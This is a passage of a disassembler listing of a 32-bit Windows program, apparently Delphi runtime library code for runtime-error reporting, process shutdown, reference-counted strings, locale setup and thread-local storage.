		dec	ecx
		test	ebx, ebx
		jnz	short loc_132D8
		mov	cl, 1Ch
		mov	eax, ds:dword_16004


loc_13304:				; CODE XREF: sub_132C8+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_16074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_13304
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_132C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_13324	proc near		; CODE XREF: sub_133E0+A4p
		xor	eax, eax
		xchg	eax, ds:uExitCode
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_17620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_13324	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_13354	proc near		; CODE XREF: sub_133E0+39p

NumberOfBytesWritten= dword ptr	-4

		push	ecx
		cmp	ds:byte_17034, 0
		jz	short loc_133B5
		cmp	ds:word_17208, 0D7B2h
		jnz	short loc_1337D
		cmp	ds:dword_17210,	0
		jbe	short loc_1337D
		mov	eax, offset dword_17204
		call	ds:dword_17220


loc_1337D:				; CODE XREF: sub_13354+13j
					; sub_13354+1Cj
		push	0		; lpOverlapped
		lea	eax, [esp+8+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	1Eh		; nNumberOfBytesToWrite
		push	offset Text	; "Runtime error     at	00000000"
		push	0FFFFFFF5h	; nStdHandle
		call	GetStdHandle	; GetStdHandle
		push	eax		; hFile
		call	WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	eax, [esp+8+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	2		; nNumberOfBytesToWrite
		push	offset dword_133DC ; lpBuffer
		push	0FFFFFFF5h	; nStdHandle
		call	GetStdHandle	; GetStdHandle
		push	eax		; hFile
		call	WriteFile	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_133B5:				; CODE XREF: sub_13354+8j
		cmp	ds:byte_16018, 0
		jnz	short loc_133D1
		push	0		; uType
		push	offset Caption	; "Error"
		push	offset Text	; "Runtime error     at	00000000"
		push	0		; hWnd
		call	MessageBoxA	; MessageBoxA


loc_133D1:				; CODE XREF: sub_13354+68j
		pop	edx
		retn
sub_13354	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_133DC	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; int __fastcall sub_133E0(struct _EXCEPTION_POINTERS ExceptionInfo)

sub_133E0	proc near		; CODE XREF: sub_134C0+5p
					; CODE:loc_15208p

var_14		= dword	ptr -14h
ExceptionInfo	= _EXCEPTION_POINTERS ptr  4

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx		; ExceptionInfo
		mov	ebx, offset dword_17620
		mov	esi, offset dword_17030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_1340B
		cmp	dword ptr [esi], 0
		jz	short loc_1340B


loc_133FA:				; CODE XREF: sub_133E0+29j
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		xor	eax, eax
		mov	[esi], eax
		call	[esp+14h+var_14]
		cmp	dword ptr [esi], 0
		jnz	short loc_133FA


loc_1340B:				; CODE XREF: sub_133E0+13j
					; sub_133E0+18j
		cmp	ds:dword_16004,	0
		jz	short loc_13425
		call	sub_132C8
		call	sub_13354
		xor	eax, eax
		mov	ds:dword_16004,	eax


loc_13425:				; CODE XREF: sub_133E0+32j
					; sub_133E0+D5j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_13439
		cmp	ds:uExitCode, 0
		jnz	short loc_13439
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_13439:				; CODE XREF: sub_133E0+49j
					; sub_133E0+52j
		call	sub_131A8
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_1344D
		cmp	ds:uExitCode, 0
		jz	short loc_13470


loc_1344D:				; CODE XREF: sub_133E0+62j
		mov	edi, [ebx+10h]
		test	edi, edi
		jz	short loc_13470
		mov	eax, edi
		call	sub_13780
		mov	ebp, [ebx+10h]
		mov	esi, [ebp+10h]
		cmp	esi, [ebp+4]
		jz	short loc_13470
		test	esi, esi
		jz	short loc_13470
		push	esi		; hLibModule
		call	FreeLibrary	; FreeLibrary


loc_13470:				; CODE XREF: sub_133E0+6Bj
					; sub_133E0+72j ...
		call	sub_13180
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_1347E
		call	dword ptr [ebx+24h]


loc_1347E:				; CODE XREF: sub_133E0+99j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_13489
		call	sub_13324


loc_13489:				; CODE XREF: sub_133E0+A2j
		cmp	dword ptr [ebx], 0
		jnz	short loc_134A8
		cmp	ds:dword_17018,	0
		jz	short loc_1349D
		call	ds:dword_17018


loc_1349D:				; CODE XREF: sub_133E0+B5j
		mov	eax, ds:uExitCode
		push	eax		; uExitCode
		call	ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------


loc_134A8:				; CODE XREF: sub_133E0+ACj
		mov	eax, [ebx]
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		jmp	loc_13425
sub_133E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_134C0	proc near		; CODE XREF: sub_12854+6p sub_134CC+6j
		mov	ds:uExitCode, eax
		call	sub_133E0
sub_134C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C3h	; ц
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_134CC	proc near		; CODE XREF: CODE:00013155j
					; sub_139D4+1Ap ...
		pop	ds:dword_16004
		jmp	sub_134C0
sub_134CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_134D8	proc near		; CODE XREF: sub_12A6C+Ep
					; sub_1359C+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_134FA
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_134FA
		lock dec dword ptr [edx-8]
		jnz	short locret_134FA
		push	eax
		lea	eax, [edx-8]
		call	sub_127E4
		pop	eax

locret_134FA:				; CODE XREF: sub_134D8+4j
					; sub_134D8+10j ...
		retn
sub_134D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_134FC	proc near		; CODE XREF: sub_13F18+2CDp
					; sub_1434C+307p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_13502:				; CODE XREF: sub_134FC+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_13522
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_13522
		lock dec dword ptr [edx-8]
		jnz	short loc_13522
		lea	eax, [edx-8]
		call	sub_127E4


loc_13522:				; CODE XREF: sub_134FC+Aj
					; sub_134FC+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_13502
		pop	esi
		pop	ebx
		retn
sub_134FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1352C	proc near		; CODE XREF: sub_135FC+8j
					; sub_14F44+8Cp ...
		test	edx, edx
		jz	short loc_13554
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_13550
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_13570
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_128C8
		pop	edx
		pop	eax
		jmp	short loc_13554
; ---------------------------------------------------------------------------


loc_13550:				; CODE XREF: sub_1352C+8j
		lock inc dword ptr [edx-8]


loc_13554:				; CODE XREF: sub_1352C+2j
					; sub_1352C+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_1356E
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_1356E
		lock dec dword ptr [edx-8]
		jnz	short locret_1356E
		lea	eax, [edx-8]
		call	sub_127E4

locret_1356E:				; CODE XREF: sub_1352C+2Cj
					; sub_1352C+32j ...
		retn
sub_1352C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13570	proc near		; CODE XREF: sub_1352C+Fp sub_1359C+Bp ...
		test	eax, eax
		jle	short loc_13598
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_127B4
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_13598:				; CODE XREF: sub_13570+2j
		xor	eax, eax
		retn
sub_13570	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1359C	proc near		; CODE XREF: sub_12A6C+30p
					; sub_135CC+8p	...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_13570
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_135BD
		mov	edx, eax
		mov	eax, esi
		call	sub_128C8


loc_135BD:				; CODE XREF: sub_1359C+16j
		mov	eax, ebx
		call	sub_134D8
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1359C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_135CC	proc near		; CODE XREF: sub_13E48+51p
					; sub_14990+AEp
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_1359C
		pop	edx
		retn
sub_135CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_135DC	proc near		; CODE XREF: sub_13804+36p
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_135E9
		not	ecx


loc_135E9:				; CODE XREF: sub_135DC+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_1359C
sub_135DC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_135F4	proc near		; CODE XREF: sub_13B78+Fp
					; sub_13D28+12p ...
		test	eax, eax
		jz	short locret_135FB
		mov	eax, [eax-4]

locret_135FB:				; CODE XREF: sub_135F4+2j
		retn
sub_135F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_135FC	proc near		; CODE XREF: sub_13E48+5Cp
					; sub_14990+B9p
		test	edx, edx
		jz	short locret_1363F
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_1352C
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_13634
		call	sub_136A8
		mov	eax, esi
		mov	ecx, [esi-4]


loc_13627:				; CODE XREF: sub_135FC+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_128C8
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13634:				; CODE XREF: sub_135FC+1Fj
		call	sub_136A8
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_13627
; ---------------------------------------------------------------------------

locret_1363F:				; CODE XREF: sub_135FC+2j
		retn
sub_135FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_13640	proc near		; CODE XREF: sub_13E48+14p
					; sub_14810+17p ...
		test	eax, eax
		jz	short locret_1364E
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_1364E
		lock inc dword ptr [eax-8]

locret_1364E:				; CODE XREF: sub_13640+2j sub_13640+8j
		retn
sub_13640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13650	proc near		; CODE XREF: sub_13D28+35p
					; sub_13F18+38p ...
		test	eax, eax
		jz	short loc_13656
		retn
; ---------------------------------------------------------------------------
byte_13655	db 0			; DATA XREF: sub_13650:loc_13656o
; ---------------------------------------------------------------------------


loc_13656:				; CODE XREF: sub_13650+2j
		mov	eax, offset byte_13655
		retn
sub_13650	endp


; =============== S U B	R O U T	I N E =======================================



sub_1365C	proc near		; CODE XREF: sub_136A0j
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_1369A
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_1369A
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_13570
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_128C8
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_13697
		lock dec dword ptr [eax-8]
		jnz	short loc_13697
		lea	eax, [eax-8]
		call	sub_127E4


loc_13697:				; CODE XREF: sub_1365C+2Bj
					; sub_1365C+31j
		mov	edx, [ebx]
		pop	ebx


loc_1369A:				; CODE XREF: sub_1365C+4j sub_1365C+Aj
		mov	eax, edx
		retn
sub_1365C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_136A0	proc near		; CODE XREF: sub_13D28+2Cp
					; sub_14810+42p ...
		jmp	sub_1365C
sub_136A0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_136A8	proc near		; CODE XREF: sub_12908+B3p
					; sub_135FC+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_136FD
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_136DE
		cmp	dword ptr [eax-8], 1
		jnz	short loc_136DE
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_12804
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_13706
; ---------------------------------------------------------------------------


loc_136DE:				; CODE XREF: sub_136A8+11j
					; sub_136A8+17j
		mov	eax, edx
		call	sub_13570
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_136FD
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_136F8
		mov	ecx, esi


loc_136F8:				; CODE XREF: sub_136A8+4Cj
		call	sub_128C8


loc_136FD:				; CODE XREF: sub_136A8+Bj
					; sub_136A8+43j
		mov	eax, ebx
		call	sub_134D8
		mov	[ebx], edi


loc_13706:				; CODE XREF: sub_136A8+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_136A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_1370C	proc near		; DATA XREF: sub_138CC+2Fo
		mov	al, 11h
		jmp	sub_128AC
sub_1370C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13714	proc near		; CODE XREF: sub_13780+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_16020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_13767


loc_1372E:				; CODE XREF: sub_13714+51j
		xor	eax, eax
		push	ebp
		push	offset loc_1374F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_13759
; ---------------------------------------------------------------------------


loc_1374F:				; DATA XREF: sub_13714+1Do
		jmp	loc_12E20
; ---------------------------------------------------------------------------
		call	sub_12FD8


loc_13759:				; CODE XREF: sub_13714+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_1372E


loc_13767:				; CODE XREF: sub_13714+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_13714	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13770	proc near		; CODE XREF: sub_13A58+5p
		mov	edx, ds:dword_1601C
		mov	[eax], edx
		mov	ds:dword_1601C,	eax
		retn
sub_13770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13780	proc near		; CODE XREF: sub_133E0+76p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_137F9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_13714
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13800


loc_137AF:				; CODE XREF: sub_13780+7Ej
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_1601C
		jnz	short loc_137C6
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_1601C,	eax
		jmp	short loc_137F8
; ---------------------------------------------------------------------------


loc_137C6:				; CODE XREF: sub_13780+38j
		mov	eax, ds:dword_1601C
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_137F8


loc_137D4:				; CODE XREF: sub_13780+76j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, [ebp+var_4]
		jnz	short loc_137EA
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		jmp	short loc_137F8
; ---------------------------------------------------------------------------


loc_137EA:				; CODE XREF: sub_13780+5Cj
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_137D4


loc_137F8:				; CODE XREF: sub_13780+44j
					; sub_13780+52j ...
		retn
; ---------------------------------------------------------------------------


loc_137F9:				; DATA XREF: sub_13780+Co
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_137AF
; ---------------------------------------------------------------------------


loc_13800:				; CODE XREF: sub_13780:loc_137F8j
					; DATA XREF: sub_13780+2Ao
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_13780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13804	proc near		; CODE XREF: sub_138CC+ADp
					; sub_138CC+BEp

var_10		= dword	ptr -10h
LCData		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx
		push	ebp
		push	offset loc_1386A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7		; cchData
		lea	edx, [ebp+LCData]
		push	edx		; lpLCData
		push	1004h		; LCType
		push	eax		; Locale
		call	GetLocaleInfoA	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+LCData]
		mov	ecx, 7
		call	sub_135DC
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_12B48
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_13854
		xor	ebx, ebx


loc_13854:				; CODE XREF: sub_13804+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13871


loc_13861:				; CODE XREF: sub_13804+6Bj
		lea	eax, [ebp+var_10]
		call	sub_134D8
		retn
; ---------------------------------------------------------------------------


loc_1386A:				; DATA XREF: sub_13804+Fo
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13861
; ---------------------------------------------------------------------------


loc_13871:				; CODE XREF: sub_13804+65j
					; DATA XREF: sub_13804+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_13804	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13878	proc near		; DATA XREF: CODE:000150C0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_138C2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_175A4
		jnz	short loc_138B4
		mov	eax, offset dword_17038
		call	sub_12AD0
		mov	eax, offset dword_17204
		call	sub_12AD0
		mov	eax, offset dword_173D0
		call	sub_12AD0
		call	sub_119DC


loc_138B4:				; CODE XREF: sub_13878+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_138C9


loc_138C1:				; CODE XREF: sub_13878+4Fj
		retn
; ---------------------------------------------------------------------------


loc_138C2:				; DATA XREF: sub_13878+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_138C1
; ---------------------------------------------------------------------------


loc_138C9:				; CODE XREF: sub_13878:loc_138C1j
					; DATA XREF: sub_13878+44o
		pop	ebp
		retn
sub_13878	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_138CC	proc near		; DATA XREF: CODE:000150BCo
		sub	ds:dword_175A4,	1
		jnb	locret_1399E
		mov	ds:byte_16008, 2
		mov	ds:dword_17010,	offset RaiseException
		mov	ds:dword_17014,	offset RtlUnwind
		mov	ds:byte_17036, 2
		mov	ds:dword_17000,	offset sub_1370C
		call	sub_12C24
		test	al, al
		jz	short loc_13913
		call	sub_12C54


loc_13913:				; CODE XREF: sub_138CC+40j
		call	sub_12D18
		mov	ds:word_1703C, 0D7B0h
		mov	ds:word_17208, 0D7B0h
		mov	ds:word_173D4, 0D7B0h
		call	GetCommandLineA	; GetCommandLineA
		mov	ds:dword_1702C,	eax
		call	sub_11098
		mov	ds:dword_17028,	eax
		call	GetVersion	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_13985
		call	GetVersion	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_13974
		mov	ds:dword_175A8,	3
		jmp	short loc_13994
; ---------------------------------------------------------------------------


loc_13974:				; CODE XREF: sub_138CC+9Aj
		call	GetThreadLocale	; GetThreadLocale
		call	sub_13804
		mov	ds:dword_175A8,	eax
		jmp	short loc_13994
; ---------------------------------------------------------------------------


loc_13985:				; CODE XREF: sub_138CC+8Aj
		call	GetThreadLocale	; GetThreadLocale
		call	sub_13804
		mov	ds:dword_175A8,	eax


loc_13994:				; CODE XREF: sub_138CC+A6j
					; sub_138CC+B7j
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	ds:dword_17020,	eax

locret_1399E:				; CODE XREF: sub_138CC+7j
		retn
sub_138CC	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc_0. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_139C0	proc near		; CODE XREF: sub_139D4+21p
		push	eax		; uBytes
		push	40h		; uFlags
		call	LocalAlloc_0
		retn
sub_139C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_139CC	proc near		; CODE XREF: sub_139D4+1p
		mov	eax, 8
		retn
sub_139CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_139D4	proc near		; CODE XREF: sub_13A18:loc_13A32p
		push	ebx
		call	sub_139CC
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_13A16
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_139F3
		mov	eax, 0E2h
		call	sub_134CC
; ---------------------------------------------------------------------------


loc_139F3:				; CODE XREF: sub_139D4+13j
		mov	eax, ebx
		call	sub_139C0
		test	eax, eax
		jnz	short loc_13A0A
		mov	eax, 0E2h
		call	sub_134CC
; ---------------------------------------------------------------------------
		jmp	short loc_13A16
; ---------------------------------------------------------------------------


loc_13A0A:				; CODE XREF: sub_139D4+28j
		push	eax		; lpTlsValue
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsSetValue	; TlsSetValue


loc_13A16:				; CODE XREF: sub_139D4+Aj
					; sub_139D4+34j
		pop	ebx
		retn
sub_139D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_13A18	proc near		; CODE XREF: sub_12860+20p
					; sub_128B8+3p	...
		mov	cl, ds:byte_1764C
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_13A4D
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_13A32:				; CODE XREF: sub_13A18+3Dj
		call	sub_139D4
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsGetValue	; TlsGetValue
		test	eax, eax
		jz	short loc_13A47
		retn
; ---------------------------------------------------------------------------


loc_13A47:				; CODE XREF: sub_13A18+2Cj
		mov	eax, ds:dword_17658
		retn
; ---------------------------------------------------------------------------


loc_13A4D:				; CODE XREF: sub_13A18+Dj
		push	eax		; dwTlsIndex
		call	TlsGetValue	; TlsGetValue
		test	eax, eax
		jz	short loc_13A32
		retn
sub_13A18	endp


; =============== S U B	R O U T	I N E =======================================



sub_13A58	proc near		; CODE XREF: sub_13A64+2Ep
		mov	eax, offset dword_16088
		call	sub_13770
		retn
sub_13A58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_13A64	proc near		; CODE XREF: CODE:0001512Dp
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0		; lpModuleName
		call	GetModuleHandleA	; GetModuleHandleA
		mov	ds:dword_17650,	eax
		mov	eax, ds:dword_17650
		mov	ds:dword_1608C,	eax
		xor	eax, eax
		mov	ds:dword_16090,	eax
		xor	eax, eax
		mov	ds:dword_16094,	eax
		call	sub_13A58
		mov	edx, offset dword_16088
		mov	eax, ebx
		call	sub_13288
		pop	ebx
		retn
sub_13A64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13AA8	proc near		; DATA XREF: CODE:000150B8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_13ACD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_17654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13AD4


loc_13ACC:				; CODE XREF: sub_13AA8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_13ACD:				; DATA XREF: sub_13AA8+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13ACC
; ---------------------------------------------------------------------------


loc_13AD4:				; CODE XREF: sub_13AA8:loc_13ACCj
					; DATA XREF: sub_13AA8+1Fo
		pop	ebp
		retn
sub_13AA8	endp

; ---------------------------------------------------------------------------
		align 4


loc_13AD8:				; DATA XREF: CODE:off_150B4o
		sub	ds:dword_17654,	1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13AE0	proc near		; DATA XREF: CODE:000150C8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_13B05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1765C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13B0C


loc_13B04:				; CODE XREF: sub_13AE0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_13B05:				; DATA XREF: sub_13AE0+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13B04
; ---------------------------------------------------------------------------


loc_13B0C:				; CODE XREF: sub_13AE0:loc_13B04j
					; DATA XREF: sub_13AE0+1Fo
		pop	ebp
		retn
sub_13AE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13B10	proc near		; DATA XREF: CODE:000150C4o
		sub	ds:dword_1765C,	1
		retn
sub_13B10	endp

; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO	EXPAND]
